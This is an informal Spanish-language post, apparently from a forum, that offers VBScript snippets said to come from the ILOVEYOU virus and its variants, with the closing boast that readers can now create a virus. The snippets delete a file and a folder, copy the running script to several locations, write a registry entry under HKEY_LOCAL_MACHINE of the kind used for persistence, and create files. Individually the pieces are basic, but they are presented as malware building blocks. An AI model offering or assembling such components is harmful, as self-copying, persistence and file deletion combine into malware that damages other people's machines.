hey,aki les dejo algunos kodigos "maliciosos" sakados del virus y Love You y variantes....... Ya pueden krear un virus!!!XD
-----------------------------
----------------Borrar Archivos-----------
Dim fso, f1, s Set fso = CreateObject("Scripting.FileSystemObject") Set f1 = fso.GetFile("c:\lokesea.txt") f1.Delete
( se borrara el archivo lokesea.txt del disco C: )
-------------Borrar Carpeta---------------------
Dim fso, fldr Set fso = CreateObject("Scripting.FileSystemObject") Set fldr = fso.DeleteFolder("C:\Pkn")
( podemos ver el DeleteFolder donde borra la carpeta pkn del disco C: )
------------Copia de si mismo en otro lugares-------------------
Copiarasimismo()
Sub Copiarasimismo() dim fso, eq, ctr, file, vbscopy Set fso = CreateObject("Scripting.FileSystemObject") set file = fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=file.ReadAll Set c = fso.GetFile(WScript.ScriptFullName) c.Copy("C:\Misdocumentos\pkn.vbs") c.Copy("C:\pkn1.vbs") c.Copy("C:\pkn2.vbs") end sub
(se copiaria en C:\Misdocumentos\pkn.vbs, en C:\pkn1.vbs y C:\pkn2.vbs al ser ejekutAdo)
----------Crear linea en el regristro--------
RegeditCrear()
Sub RegeditCrear() Dim Rege Set Rege = WScript.CreateObject("WScript.Shell") Rege.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Pelkabin","C:\pelkabin.vbs" end Sub
( se agrega la linea en el regristro de Windows )
--------------------Crear un Archivo--------------------
Dim fso, fldr Set fso = CreateObject("Scripting.FileSystemObject") Set fldr = fso.CreateTextFile("C:\kokakola.txt")
(Se crea en c:\kokakola.txt)
--------------Crear un Archivo con información dentro--------------------
Dim fso, tf Set fso = CreateObject("Scripting.FileSystemObject") Set tf = fso.CreateTextFile("c:\Pkn.txt", True) 'Escribir una línea con un carácter nueva línea. tf.WriteLine("hola holita!!!") ' Escribir tres caracteres de nueva línea al archivo. tf.WriteBlankLines(3) ' Escribir una línea. tf.Write ("Esto es una prueba.") tf.Close --------------------------------